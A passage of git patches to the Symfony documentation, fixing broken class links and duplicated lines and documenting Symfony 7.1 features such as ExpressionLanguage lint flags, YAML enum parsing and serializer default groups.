+By default, Symfony uses only one `Twig Loader`_ - `FilesystemLoader`_. If you need
 to load Twig templates from another resource, you can create a service for
 the new loader and tag it with ``twig.loader``.
 
@@ -1457,6 +1456,7 @@ Then, tag it with the ``validator.initializer`` tag (it has no options).
 For an example, see the ``DoctrineInitializer`` class inside the Doctrine
 Bridge.
 
+.. _`FilesystemLoader`: https://github.com/twigphp/Twig/blob/3.x/src/Loader/FilesystemLoader.php
 .. _`Twig's documentation`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
 .. _`Twig Loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
 .. _`PHP class preloading`: https://www.php.net/manual/en/opcache.configuration.php#ini.opcache.preload
diff --git a/templates.rst b/templates.rst
index 47071654f54..1ff0ab1d44f 100644
--- a/templates.rst
+++ b/templates.rst
@@ -592,7 +592,7 @@ Rendering a Template in Services
 Inject the ``twig`` Symfony service into your own services and use its
 ``render()`` method. When using :doc:`service autowiring </service_container/autowiring>`
 you only need to add an argument in the service constructor and type-hint it with
-the :class:`Twig\\Environment` class::
+the `Twig Environment`_::
 
     // src/Service/SomeService.php
     namespace App\Service;
@@ -1582,23 +1582,24 @@ If you're using the default ``services.yaml`` configuration, this will already
 work! Otherwise, :ref:`create a service <service-container-creating-service>`
 for this class and :doc:`tag your service </service_container/tags>` with ``twig.runtime``.
 
-.. _`Twig`: https://twig.symfony.com
-.. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html
+.. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting
+.. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference
 .. _`filters`: https://twig.symfony.com/doc/3.x/filters/index.html
 .. _`functions`: https://twig.symfony.com/doc/3.x/functions/index.html
-.. _`with_context`: https://twig.symfony.com/doc/3.x/functions/include.html
-.. _`Twig template loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
-.. _`Twig raw filter`: https://twig.symfony.com/doc/3.x/filters/raw.html
-.. _`Twig output escaping docs`: https://twig.symfony.com/doc/3.x/api.html#escaper-extension
-.. _`snake case`: https://en.wikipedia.org/wiki/Snake_case
-.. _`Twig template inheritance`: https://twig.symfony.com/doc/3.x/tags/extends.html
-.. _`Twig block tag`: https://twig.symfony.com/doc/3.x/tags/block.html
-.. _`Cross-Site Scripting`: https://en.wikipedia.org/wiki/Cross-site_scripting
 .. _`GitHub Actions`: https://docs.github.com/en/free-pro-team@latest/actions
-.. _`UX Twig Component`: https://symfony.com/bundles/ux-twig-component/current/index.html
-.. _`UX Live Component`: https://symfony.com/bundles/ux-live-component/current/index.html
-.. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
-.. _`default Twig filters and functions`: https://twig.symfony.com/doc/3.x/#reference
-.. _`official Twig extensions`: https://github.com/twigphp?q=extra
 .. _`global variables`: https://twig.symfony.com/doc/3.x/advanced.html#id1
 .. _`hinclude.js`: https://mnot.github.io/hinclude/
+.. _`official Twig extensions`: https://github.com/twigphp?q=extra
+.. _`snake case`: https://en.wikipedia.org/wiki/Snake_case
+.. _`tags`: https://twig.symfony.com/doc/3.x/tags/index.html
+.. _`Twig block tag`: https://twig.symfony.com/doc/3.x/tags/block.html
+.. _`Twig Environment`: https://github.com/twigphp/Twig/blob/3.x/src/Loader/FilesystemLoader.php
+.. _`Twig Extensions`: https://twig.symfony.com/doc/3.x/advanced.html#creating-an-extension
+.. _`Twig output escaping docs`: https://twig.symfony.com/doc/3.x/api.html#escaper-extension
+.. _`Twig raw filter`: https://twig.symfony.com/doc/3.x/filters/raw.html
+.. _`Twig template inheritance`: https://twig.symfony.com/doc/3.x/tags/extends.html
+.. _`Twig template loader`: https://twig.symfony.com/doc/3.x/api.html#loaders
+.. _`Twig`: https://twig.symfony.com
+.. _`UX Live Component`: https://symfony.com/bundles/ux-live-component/current/index.html
+.. _`UX Twig Component`: https://symfony.com/bundles/ux-twig-component/current/index.html
+.. _`with_context`: https://twig.symfony.com/doc/3.x/functions/include.html

From aefde3c393007dfc4c903f6efc0806cefad093ba Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Mon, 5 Feb 2024 20:49:39 +0100
Subject: [PATCH 5780/7107] Remove SchemeRequestMatcher duplication

---
 components/http_foundation.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index ee88fb14595..06d59f78cae 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -397,7 +397,6 @@ address, it uses a certain HTTP method, etc.):
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\PortRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\QueryParameterRequestMatcher`
 * :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\SchemeRequestMatcher`
-* :class:`Symfony\\Component\\HttpFoundation\\RequestMatcher\\SchemeRequestMatcher`
 
 You can use them individually or combine them using the
 :class:`Symfony\\Component\\HttpFoundation\\ChainRequestMatcher` class::

From 0e03673ac31503aced6df4e42d6f45b4807133d8 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Tue, 6 Feb 2024 10:27:22 +0100
Subject: [PATCH 5781/7107] [HttpFoundation] Add support for
 `\SplTempFileObject` in `BinaryFileResponse`

---
 components/http_foundation.rst | 17 +++++++++++++++++
 1 file changed, 17 insertions(+)

diff --git a/components/http_foundation.rst b/components/http_foundation.rst
index 06d59f78cae..b08aeb8380b 100644
--- a/components/http_foundation.rst
+++ b/components/http_foundation.rst
@@ -841,6 +841,23 @@ It is possible to delete the file after the response is sent with the
 :method:`Symfony\\Component\\HttpFoundation\\BinaryFileResponse::deleteFileAfterSend` method.
 Please note that this will not work when the ``X-Sendfile`` header is set.
 
+Alternatively, ``BinaryFileResponse`` supports instances of ``\SplTempFileObject``.
+This is useful when you want to serve a file that has been created in memory
+and that will be automatically deleted after the response is sent::
+
+    use Symfony\Component\HttpFoundation\BinaryFileResponse;
+
+    $file = new \SplTempFileObject();
+    $file->fwrite('Hello World');
+    $file->rewind();
+
+    $response = new BinaryFileResponse($file);
+
+.. versionadded:: 7.1
+
+    The support for ``\SplTempFileObject`` in ``BinaryFileResponse``
+    was introduced in Symfony 7.1.
+
 If the size of the served file is unknown (e.g. because it's being generated on the fly,
 or because a PHP stream filter is registered on it, etc.), you can pass a ``Stream``
 instance to ``BinaryFileResponse``. This will disable ``Range`` and ``Content-Length``

From c4023a69ddfaeacb5f1a331806779a1a198598b7 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Tue, 6 Feb 2024 19:52:08 +0100
Subject: [PATCH 5782/7107] Fix broken class links

---
 controller/value_resolver.rst | 4 ++--
 mailer.rst                    | 2 +-
 workflow.rst                  | 2 +-
 3 files changed, 4 insertions(+), 4 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index 7509920bc04..094d8af4c35 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -222,8 +222,8 @@ In addition, some components, bridges and official bundles provide other value r
 
 PSR-7 Objects Resolver:
     Injects a Symfony HttpFoundation ``Request`` object created from a PSR-7 object
-    of type :class:`Psr\\Http\\Message\\ServerRequestInterface`,
-    :class:`Psr\\Http\\Message\\RequestInterface` or :class:`Psr\\Http\\Message\\MessageInterface`.
+    of type ``Psr\Http\Message\ServerRequestInterface``,
+    ``Psr\Http\Message\RequestInterface`` or ``Psr\Http\Message\MessageInterface``.
     It requires installing :doc:`the PSR-7 Bridge </components/psr7>` component.
 
 Managing Value Resolvers
diff --git a/mailer.rst b/mailer.rst
index b9ffa16332d..53b9d88b6f1 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1474,7 +1474,7 @@ handler.
     ``$mailer->send($email)`` works as of Symfony 6.2.
 
 When sending an email asynchronously, its instance must be serializable.
-This is always the case for :class:`Symfony\\Bridge\\Twig\\Mime\\Email`
+This is always the case for :class:`Symfony\\Component\\Mailer\\Mailer`
 instances, but when sending a
 :class:`Symfony\\Bridge\\Twig\\Mime\\TemplatedEmail`, you must ensure that
 the ``context`` is serializable. If you have non-serializable variables,
diff --git a/workflow.rst b/workflow.rst
index 929a2aa9cbe..4dd3a3d618a 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -475,7 +475,7 @@ The context is accessible in all events except for the ``workflow.guard`` events
 .. deprecated:: 6.4
 
     Gathering events context is deprecated since Symfony 6.4 and the
-    :method:`Symfony\\Component\\Workflow\\Event::getContext` method will be
+    :method:`Symfony\\Component\\Workflow\\Event\\Event::getContext` method will be
     removed in Symfony 7.0.
 
 .. note::

From ba7d7b771d3662da6211740b1fc2694483d71eb9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Wed, 7 Feb 2024 09:36:59 +0100
Subject: [PATCH 5783/7107] add missing return statement

---
 components/var_dumper.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index e7c10a3287f..bc14c970fa9 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -513,7 +513,7 @@ like this::
         $cloner = new VarCloner();
         $dumper = 'cli' === PHP_SAPI ? new CliDumper() : new HtmlDumper();
 
-        $dumper->dump($cloner->cloneVar($var));
+        return $dumper->dump($cloner->cloneVar($var));
     });
 
 Cloners

From 4085aeddc191f7823ae0dc093310028259e54a65 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 7 Feb 2024 13:26:03 +0100
Subject: [PATCH 5784/7107] [Serializer] Add Default and "class name" default
 groups

---
 serializer.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/serializer.rst b/serializer.rst
index e3480c0b035..701e5918848 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -383,6 +383,18 @@ stored in one of the following locations:
 * All ``*.yaml`` and ``*.xml`` files in the ``Resources/config/serialization/``
   directory of a bundle.
 
+.. note::
+
+    By default, the ``Default`` group is used when normalizing and denormalizing
+    objects. A group corresponding to the class name is also used. For example,
+    if you are normalizing a ``App\Entity\Product`` object, the ``Product`` group
+    is also included by default.
+
+    .. versionadded:: 7.1
+
+        The default use of the class name and ``Default`` groups when normalizing
+        and denormalizing objects was introduced in Symfony 7.1.
+
 .. _serializer-enabling-metadata-cache:
 
 Using Nested Attributes

From 5d2b2a6fd738c48de9275535cf1522e972c5d5f4 Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 7 Feb 2024 13:32:43 +0100
Subject: [PATCH 5785/7107] [Yaml] Allow to get all the enum cases

---
 components/yaml.rst        | 20 ++++++++++++++++++++
 reference/formats/yaml.rst | 13 +++++++++++++
 2 files changed, 33 insertions(+)

diff --git a/components/yaml.rst b/components/yaml.rst
index 627fc4479e0..5f724e0572c 100644
--- a/components/yaml.rst
+++ b/components/yaml.rst
@@ -355,6 +355,26 @@ and the special ``!php/enum`` syntax to parse them as proper PHP enums::
     // the value of the 'foo' key is a string because it missed the `!php/enum` syntax
     // $parameters = ['foo' => 'FooEnum::Foo', 'bar' => 'foo'];
 
+You can also use ``!php/enum`` to get all the enumeration cases by only
+giving the enumeration FQCN::
+
+    enum FooEnum: string
+    {
+        case Foo = 'foo';
+        case Bar = 'bar';
+    }
+
+    // ...
+
+    $yaml = '{ bar: !php/enum FooEnum }';
+    $parameters = Yaml::parse($yaml, Yaml::PARSE_CONSTANT);
+    // $parameters = ['bar' => ['foo', 'bar']];
+
+.. versionadded:: 7.1
+
+    The support for using the enum FQCN without specifying a case
+    was introduced in Symfony 7.1.
+
 Parsing and Dumping of Binary Data
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
diff --git a/reference/formats/yaml.rst b/reference/formats/yaml.rst
index 64adac599fb..6a61cafa74a 100644
--- a/reference/formats/yaml.rst
+++ b/reference/formats/yaml.rst
@@ -346,6 +346,19 @@ official YAML specification but are useful in Symfony applications:
           # ... or you can also use "->value" to directly use the value of a BackedEnum case
           operator_type: !php/enum App\Operator\Enum\Type::Or->value
 
+  This tag allows to omit the enum case and only provide the enum FQCN
+  to return an array of all available enum cases:
+
+  .. code-block:: yaml
+
+      data:
+          operator_types: !php/enum App\Operator\Enum\Type
+
+  .. versionadded:: 7.1
+
+    The support for using the enum FQCN without specifying a case
+    was introduced in Symfony 7.1.
+
 Unsupported YAML Features
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 

From 42b51537caf123914b18e05b685a3fd0234735bf Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 7 Feb 2024 13:53:32 +0100
Subject: [PATCH 5786/7107] [ExpressionLanguage] Mention parsing and linting

---
 components/expression_language.rst | 20 ++++++++++++++++++++
 1 file changed, 20 insertions(+)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index bf7b62f6f81..8a475e1f062 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -96,6 +96,26 @@ can chain multiple coalescing operators.
 
     The null-coalescing operator was introduced in Symfony 6.2.
 
+Parsing and Linting Expressions
+...............................
+
+The ExpressionLanguage component provides a way to parse and lint expressions.
+The :method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::parse`
+method returns a :class:`Symfony\\Component\\ExpressionLanguage\\ParsedExpression`
+instance that can be used to inspect and manipulate the expression. The
+:method:`Symfony\\Component\\ExpressionLanguage\\ExpressionLanguage::lint`, on the
+other hand, returns a boolean indicating if the expression is valid or not::
+
+    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
+
+    $expressionLanguage = new ExpressionLanguage();
+
+    var_dump($expressionLanguage->parse('1 + 2'));
+    // displays the AST nodes of the expression which can be
+    // inspected and manipulated
+
+    var_dump($expressionLanguage->lint('1 + 2')); // displays true
+
 Passing in Variables
 --------------------
 

From a3ba7fcc34f3cdcbc7880a99dc91b47a319661dd Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 7 Feb 2024 14:01:49 +0100
Subject: [PATCH 5787/7107] [ExpressionLanguage] Add flags support in `parse()`
 and `lint()`

---
 components/expression_language.rst | 24 ++++++++++++++++++++++++
 1 file changed, 24 insertions(+)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index d335710923e..038251066e1 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -112,6 +112,30 @@ other hand, returns a boolean indicating if the expression is valid or not::
 
     var_dump($expressionLanguage->lint('1 + 2')); // displays true
 
+The call to these methods can be configured through flags. The available flags
+are available in the :class:`Symfony\\Component\\ExpressionLanguage\\Parser` class
+and are the following:
+
+* ``IGNORE_UNKNOWN_VARIABLES``: don't throw an exception if a variable is not
+  defined in the expression;
+* ``IGNORE_UNKNOWN_FUNCTIONS``: don't throw an exception if a function is not
+  defined in the expression.
+
+This is how you can use these flags::
+
+    use Symfony\Component\ExpressionLanguage\ExpressionLanguage;
+    use Symfony\Component\ExpressionLanguage\Parser;
+
+    $expressionLanguage = new ExpressionLanguage();
+
+    // this return true because the unknown variables and functions are ignored
+    var_dump($expressionLanguage->lint('unknown_var + unknown_function()', Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS));
+
+.. versionadded:: 7.1
+
+    The support for flags in the ``parse()`` and ``lint()`` methods
+    was introduced in Symfony 7.1.
+
 Passing in Variables
 --------------------
 

From aad9c9d6701c3393f84ac368fca2b747b14aff7b Mon Sep 17 00:00:00 2001
From: Alexandre Daubois <alex.daubois@gmail.com>
Date: Wed, 7 Feb 2024 15:06:49 +0100
Subject: [PATCH 5788/7107] [ExpressionLanguage] Remove superfluous line

---
 components/expression_language.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index 8a475e1f062..b75c3d13c34 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -14,8 +14,6 @@ Installation
 
 .. include:: /components/require_autoload.rst.inc
 
-How can the Expression Engine Help Me?
-
 .. _how-can-the-expression-engine-help-me:
 
 How can the Expression Language Help Me?

From c0d24e1a235f2ca99b968340a9c74d3fc7772454 Mon Sep 17 00:00:00 2001
From: Tac Tacelosky <tacman@gmail.com>
Date: Wed, 7 Feb 2024 06:34:01 -0500
Subject: [PATCH 5789/7107] remove $ so gitclip works

From github, leaving the $ in will be included when someone is using the "copy" function to the right of the bash/console statements.  The $ gets in the way.
---
 bundles/best_practices.rst | 16 ++++++++--------
 1 file changed, 8 insertions(+), 8 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index a0915fbeaf4..2d666b02f31 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -292,7 +292,7 @@ following standardized instructions in your ``README.md`` file.
         Open a command console, enter your project directory and execute:
 
         ```console
-        $ composer require <package-name>
+        composer require <package-name>
         ```
 
         Applications that don't use Symfony Flex
@@ -304,7 +304,7 @@ following standardized instructions in your ``README.md`` file.
         following command to download the latest stable version of this bundle:
 
         ```console
-        $ composer require <package-name>
+        composer require <package-name>
         ```
 
         ### Step 2: Enable the Bundle
@@ -333,9 +333,9 @@ following standardized instructions in your ``README.md`` file.
 
         Open a command console, enter your project directory and execute:
 
-        .. code-block:: bash
-
-            $ composer require <package-name>
+        ```bash
+        composer require <package-name>
+        ```
 
         Applications that don't use Symfony Flex
         ----------------------------------------
@@ -346,9 +346,9 @@ following standardized instructions in your ``README.md`` file.
         Open a command console, enter your project directory and execute the
         following command to download the latest stable version of this bundle:
 
-        .. code-block:: terminal
-
-            $ composer require <package-name>
+       ```bash
+        composer require <package-name>
+        ```
 
         Step 2: Enable the Bundle
         ~~~~~~~~~~~~~~~~~~~~~~~~~

From c3edd6b74d6fed30e1b81a4226cc21a68f182e61 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Feb 2024 15:22:02 +0100
Subject: [PATCH 5790/7107] Restore some unneeded change

---
 bundles/best_practices.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/best_practices.rst b/bundles/best_practices.rst
index 2d666b02f31..8e8feedb642 100644
--- a/bundles/best_practices.rst
+++ b/bundles/best_practices.rst
@@ -333,9 +333,9 @@ following standardized instructions in your ``README.md`` file.
 
         Open a command console, enter your project directory and execute:
 
-        ```bash
-        composer require <package-name>
-        ```
+        .. code-block:: terminal
+
+            composer require <package-name>
 
         Applications that don't use Symfony Flex
         ----------------------------------------

From add92fa186a6e9d824f28bd1110d19674e20ca8b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Feb 2024 15:52:31 +0100
Subject: [PATCH 5791/7107] Minor tweak

---
 components/expression_language.rst | 7 +++----
 1 file changed, 3 insertions(+), 4 deletions(-)

diff --git a/components/expression_language.rst b/components/expression_language.rst
index d43b9df0f6f..fa07903bbb7 100644
--- a/components/expression_language.rst
+++ b/components/expression_language.rst
@@ -110,9 +110,8 @@ other hand, returns a boolean indicating if the expression is valid or not::
 
     var_dump($expressionLanguage->lint('1 + 2')); // displays true
 
-The call to these methods can be configured through flags. The available flags
-are available in the :class:`Symfony\\Component\\ExpressionLanguage\\Parser` class
-and are the following:
+The behavior of these methods can be configured with some flags defined in the
+:class:`Symfony\\Component\\ExpressionLanguage\\Parser` class:
 
 * ``IGNORE_UNKNOWN_VARIABLES``: don't throw an exception if a variable is not
   defined in the expression;
@@ -126,7 +125,7 @@ This is how you can use these flags::
 
     $expressionLanguage = new ExpressionLanguage();
 
-    // this return true because the unknown variables and functions are ignored
+    // this returns true because the unknown variables and functions are ignored
     var_dump($expressionLanguage->lint('unknown_var + unknown_function()', Parser::IGNORE_UNKNOWN_VARIABLES | Parser::IGNORE_UNKNOWN_FUNCTIONS));
 
 .. versionadded:: 7.1

From 28254a6b33eaa2cee81eb5e46cb68d2a05a4f7d4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 7 Feb 2024 16:41:34 +0100
Subject: [PATCH 5792/7107] Minor reword

---
 serializer.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/serializer.rst b/serializer.rst
index 701e5918848..6f75d65afc4 100644
--- a/serializer.rst
+++ b/serializer.rst
@@ -385,10 +385,10 @@ stored in one of the following locations:
 
 .. note::
 
-    By default, the ``Default`` group is used when normalizing and denormalizing
-    objects. A group corresponding to the class name is also used. For example,
-    if you are normalizing a ``App\Entity\Product`` object, the ``Product`` group
-    is also included by default.
+    The groups used by default when normalizing and denormalizing objects are
+    ``Default`` and the group that matches the class name. For example, if you
+    are normalizing a ``App\Entity\Product`` object, the groups used are
+    ``Default`` and ``Product``.
 
     .. versionadded:: 7.1
 

From 56c8b4d41f09af3d32730bdbda4ac0f2944e860a Mon Sep 17 00:00:00 2001
From: Mathias Arlaud <mathias.arlaud@gmail.com>
Date: Thu, 8 Feb 2024 10:14:03 +0100
Subject: [PATCH 5793/7107] [Serializer] Fix recursive custom normalizer

---
 serializer/custom_normalizer.rst | 14 +++++++-------
 1 file changed, 7 insertions(+), 7 deletions(-)

diff --git a/serializer/custom_normalizer.rst b/serializer/custom_normalizer.rst
index 447076fff46..636ba70fd37 100644
--- a/serializer/custom_normalizer.rst
+++ b/serializer/custom_normalizer.rst
@@ -12,8 +12,8 @@ Creating a New Normalizer
 Imagine you want add, modify, or remove some properties during the serialization
 process. For that you'll have to create your own normalizer. But it's usually
 preferable to let Symfony normalize the object, then hook into the normalization
-to customize the normalized data. To do that, leverage the
-``NormalizerAwareInterface`` and the ``NormalizerAwareTrait``. This will give
+to customize the normalized data. To do that, you can inject a
+``NormalizerInterface`` and wire it to Symfony's object normalizer. This will give
 you access to a ``$normalizer`` property which takes care of most of the
 normalization process::
 
@@ -21,16 +21,16 @@ normalization process::
     namespace App\Serializer;
 
     use App\Entity\Topic;
+    use Symfony\Component\DependencyInjection\Attribute\Autowire;
     use Symfony\Component\Routing\Generator\UrlGeneratorInterface;
-    use Symfony\Component\Serializer\Normalizer\NormalizerAwareInterface;
-    use Symfony\Component\Serializer\Normalizer\NormalizerAwareTrait;
     use Symfony\Component\Serializer\Normalizer\NormalizerInterface;
 
-    class TopicNormalizer implements NormalizerInterface, NormalizerAwareInterface
+    class TopicNormalizer implements NormalizerInterface
     {
-        use NormalizerAwareTrait;
-
         public function __construct(
+            #[Autowire(service: 'serializer.normalizer.object')]
+            private readonly NormalizerInterface $normalizer,
+
             private UrlGeneratorInterface $router,
         ) {
         }

From ef3563657cf5fd5b499f73604a5de5da22d2349f Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Simon=20M=C3=B6nch?= <simonmoench@googlemail.com>
Date: Thu, 8 Feb 2024 12:08:54 +0100
Subject: [PATCH 5794/7107] Fix translator cache_dir default value reference

According to https://github.com/symfony/symfony/blob/5.4/src/Symfony/Bundle/FrameworkBundle/DependencyInjection/Configuration.php#L831 is the default value without a `/` at the end.
---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index bbbbe41c419..7ffb0826ae8 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2508,7 +2508,7 @@ translator
 cache_dir
 .........
 
-**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/translations/``
+**type**: ``string`` | ``null`` **default**: ``%kernel.cache_dir%/translations``
 
 Defines the directory where the translation cache is stored. Use ``null`` to
 disable this cache.

From 035a424bf4a18e1182e1f6386cd91284a5a78674 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Wed, 24 Jan 2024 16:06:33 +0100
Subject: [PATCH 5795/7107] [AssetMapper] Deleting duplicated sentence

---
 frontend/asset_mapper.rst | 6 ++----
 1 file changed, 2 insertions(+), 4 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 803d7dbace6..28227d8606c 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -413,10 +413,8 @@ the page as ``link`` tags in the order they were imported.
 .. note::
 
     Importing a CSS file is *not* something that is natively supported by
-    JavaScript modules and normally causes an error. AssetMapper makes this
-    work by adding an importmap entry for each CSS file that is valid, but
-    does nothing. AssetMapper adds a ``link`` tag for each CSS file, but when
-    the JavaScript executes the ``import`` statement, nothing additional happens.
+    JavaScript modules. AssetMapper makes this work by adding an importmap entry for each CSS file,
+    and then adds a ``link`` tag for each CSS file.
 
 .. _asset-mapper-3rd-party-css:
 

From 35a7d28b95b25eac989154987212347376d51334 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 8 Feb 2024 17:40:55 +0100
Subject: [PATCH 5796/7107] Reword

---
 frontend/asset_mapper.rst | 6 ++++--
 1 file changed, 4 insertions(+), 2 deletions(-)

diff --git a/frontend/asset_mapper.rst b/frontend/asset_mapper.rst
index 43200b63128..345973332a0 100644
--- a/frontend/asset_mapper.rst
+++ b/frontend/asset_mapper.rst
@@ -420,8 +420,10 @@ the page as ``link`` tags in the order they were imported.
 .. note::
 
     Importing a CSS file is *not* something that is natively supported by
-    JavaScript modules. AssetMapper makes this work by adding an importmap entry for each CSS file,
-    and then adds a ``link`` tag for each CSS file.
+    JavaScript modules. AssetMapper makes this work by adding a special importmap
+    entry for each CSS file. These special entries are valid valid, but do nothing.
+    AssetMapper adds a ``<link>`` tag for each CSS file, but when the JavaScript
+    executes the ``import`` statement, nothing additional happens.
 
 .. _asset-mapper-3rd-party-css:
 

From ebd373cafcd0cfe49cc8bbde7ba64b567722e4ac Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 8 Feb 2024 17:54:25 +0100
Subject: [PATCH 5797/7107] Fix broken class links

---
 bundles/prepend_extension.rst                      | 4 ++--
 service_container/service_subscribers_locators.rst | 2 +-
 2 files changed, 3 insertions(+), 3 deletions(-)

diff --git a/bundles/prepend_extension.rst b/bundles/prepend_extension.rst
index 4bd1c7c6a67..613cda7489f 100644
--- a/bundles/prepend_extension.rst
+++ b/bundles/prepend_extension.rst
@@ -187,7 +187,7 @@ method::
     The ``prependExtension()`` method, like ``prepend()``, is called only at compile time.
 
 Alternatively, you can use the ``prepend`` parameter of the
-:method:`Symfony\\Component\\DependencyInjection\\Loader\\ContainerConfigurator::extension`
+:method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::extension`
 method::
 
     use Symfony\Component\DependencyInjection\ContainerBuilder;
@@ -211,7 +211,7 @@ method::
 .. versionadded:: 7.1
 
     The ``prepend`` parameter of the
-    :method:`Symfony\\Component\\DependencyInjection\\Loader\\ContainerConfigurator::extension`
+    :method:`Symfony\\Component\\DependencyInjection\\Loader\\Configurator\\ContainerConfigurator::extension`
     method was added in Symfony 7.1.
 
 More than one Bundle using PrependExtensionInterface
diff --git a/service_container/service_subscribers_locators.rst b/service_container/service_subscribers_locators.rst
index 31a9fa55f3b..21a7ab295d2 100644
--- a/service_container/service_subscribers_locators.rst
+++ b/service_container/service_subscribers_locators.rst
@@ -123,7 +123,7 @@ In this example, the ``$handler`` service is only instantiated when the
 
 You can also type-hint the service locator argument with
 :class:`Symfony\\Contracts\\Service\\ServiceCollectionInterface` instead of
-:class:`Psr\\Container\\ContainerInterface`. By doing so, you'll be able to
+``Psr\Container\ContainerInterface``. By doing so, you'll be able to
 count and iterate over the services of the locator::
 
     // ...

From 3e2ad1796f6c39a90e82008d9c07f53e2173a0f0 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 8 Feb 2024 18:30:05 +0100
Subject: [PATCH 5798/7107] [Asset] Replace RemoteJsonManifestVersionStrategy
 by JsonManifestVersionStrategy

---
 components/asset.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/components/asset.rst b/components/asset.rst
index 5fa966bb85b..5fd760272ff 100644
--- a/components/asset.rst
+++ b/components/asset.rst
@@ -180,16 +180,16 @@ listed in the manifest::
     // error:
 
 If your JSON file is not on your local filesystem but is accessible over HTTP,
-use the :class:`Symfony\\Component\\Asset\\VersionStrategy\\RemoteJsonManifestVersionStrategy`
+use the :class:`Symfony\\Component\\Asset\\VersionStrategy\\JsonManifestVersionStrategy`
 with the :doc:`HttpClient component </http_client>`::
 
     use Symfony\Component\Asset\Package;
-    use Symfony\Component\Asset\VersionStrategy\RemoteJsonManifestVersionStrategy;
+    use Symfony\Component\Asset\VersionStrategy\JsonManifestVersionStrategy;
     use Symfony\Component\HttpClient\HttpClient;
 
     $httpClient = HttpClient::create();
     $manifestUrl = 'https://cdn.example.com/rev-manifest.json';
-    $package = new Package(new RemoteJsonManifestVersionStrategy($manifestUrl, $httpClient));
+    $package = new Package(new JsonManifestVersionStrategy($manifestUrl, $httpClient));
 
 Custom Version Strategies
 .........................

From 6629fcf67c9ab7ded41e2c9f2a6f6415e4fc866d Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Thu, 8 Feb 2024 18:47:58 +0100
Subject: [PATCH 5799/7107] Minor: remove duplicated lines

---
 cache.rst                                                 | 1 -
 components/cache.rst                                      | 1 -
 components/cache/adapters/couchbasebucket_adapter.rst     | 2 --
 components/cache/adapters/couchbasecollection_adapter.rst | 2 --
